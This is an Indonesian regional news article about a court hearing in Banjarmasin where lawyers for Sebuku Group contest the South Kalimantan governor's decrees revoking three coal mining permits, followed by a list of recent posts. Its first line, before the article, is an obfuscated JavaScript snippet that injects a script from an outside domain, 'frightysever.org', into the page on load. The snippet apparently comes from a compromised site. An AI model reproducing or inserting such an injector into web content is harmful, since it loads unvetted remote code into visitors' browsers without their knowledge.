(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Giliran Pengacara Sebuku Group Pertanyakan Dasar Hukum SK Gubernur


BANJARMASIN, Tanpa didampingi Prof DR Yusril Ihza Mahendra, tim kuasa hukum Sebuku Group (Silo Group) tetap mempertanyakan dasar hukum pencabutan izin usaha pertambangan operasi produksi (IUP-OP) PT Sebuku Batubai Coal, PT Sebuku Sejaka Coal, dan PT Sebuku Tanjung Coal dalam sidang pembacaan replik dari pihak penggugat kepada tergugat, Gubernur Kalsel H Sahbirin Noor di PTUN Banjarmasin, Kamis (5/4).

Kantor Ihza&Ihza Law Firm yang menjadi kuasa hukum Sebuku Group mempertanyakan dasar penerbitan tiga surat keputusan Gubernur Kalsel bernomor 503/119/DPMPTSP/2018, tertanggal 26 Januari 2018, SK Nomor 503/120/DPMPTSP/2018 tertanggal 26 Januari 2018, serta SK Nomor 503/121/DPMPTSP/2018 tertanggal 26 Januari 2018.

Dalam repliknya, kuasa hukum Sebuku Group pun mengatakan alasan pencabutan pun terlalu mengada-ada, karena seluruh kewajiban yang disyaratkan dalam peraturan perundang-undangan telah dipenuhi kliennya.  Bahkan, dalam surat jawaban kuasa hukum Gubernur Kalsel Andi M Nasrun bersama dua jaksa pengacara negara (JPN) Kejati Kalsel pun dijawab pihak penggugat, justru tidak masuk dalam konsideran tiga SK Gubernur Kalsel.

“Kami juga selalu melapor ke Dinas Lingkungan Hidup (DLH) Kalsel, selama enam bulan sekali. Jangan hanya gara-gara dianggap tak beroperasi, kemudian IUP-OP itu dicabut,” ucap Yusuf Pramono. Dia juga menyebut adanya dua surat penting tak jadi pertimbangan atau konsideran dalam pengambilan keputusan mencabut surat yang dikeluarkan Bupati Kotabaru Sjachrani Mataja atas IUP-OP Sebuku Group.

Sementara itu, ketua majelis hakim Dafrian didamping dua hakim anggota, Rory Yonaldi dan Lizamul Umum yang mengadili perkara gugatan PT Sebuku Batubai Coal versus Gubernur Kalsel, langsung memutuskan pada sidang Kamis (12/4), pihak tergugat bisa langsung mengajukan duplik sekaligus pemeriksaan alat bukti yang menjadi objek sengketa.

Yusuf Pramono pun menegaskan bahwa kliennya telah mengantongi sertifikat clean dan clear (CnC) dan memenuhi Peraturan Menteri ESDM Nomor 43 Tahun 2015 tentang Tata Cara Evaluasi Penerbitan Izin  Usaha Pertambangan Mineral dan Batubara. “Jadi proses mendapatkan sertifikat CnC itu melalui proses evaluasi, bukan hanya check list. Lima syarat CnC telah dipenuhi bak administratif, teknis, finansial, kewilayahan hingga lingkungan. Selama ini, klien kami juga tak pernah diperingati, hanya alasan tak beroperasi lalu dijadikan dasar untuk mencabut IUP-OP. Padahal, klien kami sudah melakukan persiapan untuk melakukan operasi pertambangan,” paparnya.

Dalam persidangan pembukti alat bukti, Yusuf pun memastikan akan membawa seluruh dokumen yang ada, sebagai bahan pertimbangan bagi majelis hakim dalam memutuskan gugatan untuk membatalkan tiga SK Gubernur Kalsel. (ammar)

Reporter : Ammar
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.